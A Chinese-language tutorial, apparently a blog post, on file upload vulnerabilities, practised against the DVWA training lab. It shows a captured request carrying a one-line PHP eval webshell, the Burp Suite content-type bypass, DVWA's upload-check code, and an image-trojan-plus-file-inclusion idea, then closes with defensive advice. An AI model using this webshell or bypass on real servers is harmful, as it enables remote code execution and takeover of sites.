文件上传漏洞原理及其攻击思路

2,917 阅读2分钟

声明: 所有文档均用于安全测试加强防护,若作它用后果自负.

原理: 因为业务原因需要上传文件的功能,但是因为没有对上传的文件做过滤,检测是否是一个正常符合业务所需规范的文件,导致的上传的一个webshell,所产生的漏洞,通过上传webshell来达到攻击上传漏洞的操作.

  1. 最低级的漏洞一: 没有对上传的任何文件做过滤安全校验.可直接上传webshell到服务器.

  2. 较为高级的漏洞: 仅对文件类型进行了校验,可以通过代理的方式来修改文件类型的方式来绕过这个检测.(BURPSUITE)

    较为高级的验证:验证上传文件的类型.

    2.1 使用方式,使用BURPSUITE进行代理,拦截流量器发过来的包文件.

    图1中: 我使用的默认的8080端口,在所有接口上监听,可以让外部的浏览器访问到.

    图2中: 我使用火狐浏览器将代理指向BURPSUITE.

    图3:点击选择上传webshell文件,然后进行测试看代理是否成功.

    详细的响应内容如下:

    POST /dvwa/vulnerabilities/upload/ HTTP/1.1
    Host: 192.168.1.126
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------24086847316965774801883397268
    Content-Length: 506
    Origin: http://192.168.1.126
    Connection: close
    Referer: http://192.168.1.126/dvwa/vulnerabilities/upload/
    Cookie: security=medium; PHPSESSID=bfgr6cr81obijksdo82f9fvc84; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
    Upgrade-Insecure-Requests: 1
    
    -----------------------------24086847316965774801883397268
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    -----------------------------24086847316965774801883397268
    # 包内容文件信息
    Content-Disposition: form-data; name="uploaded"; filename="shell1.php"
    Content-Type: application/x-php
    #源文件类型为application/x-php
    #需要改变文件类型为图片 image/jpeg
    Content-Type: image/jpeg
    
    <?php @eval($_POST['lqhtest']);?>
    
    -----------------------------24086847316965774801883397268
    Content-Disposition: form-data; name="Upload"
    
    Upload
    -----------------------------24086847316965774801883397268--
    

    然后将修改后的包转发

  1. 这样就绕开了简单的一个文件类型检测防护.

如果有较高的文件上传校验例如:

if (isset($_POST['Upload'])) {
            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
                # 限制了文件的拓展名和文件大小限制.

                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                  } else {
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    }
            }
            else{    
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
            }
        }

攻击思路: 整合图片木马上传图片后,去找是否有文件包含漏洞,如果有去使用这个漏洞执行木马图片,生成webshell.

程序上文件上传校验安全建议方案:

  • 文件扩展名服务端校验.
  • 文件内容服务端校验.
  • 上传文件重命名.
  • 上传文件路径隐藏.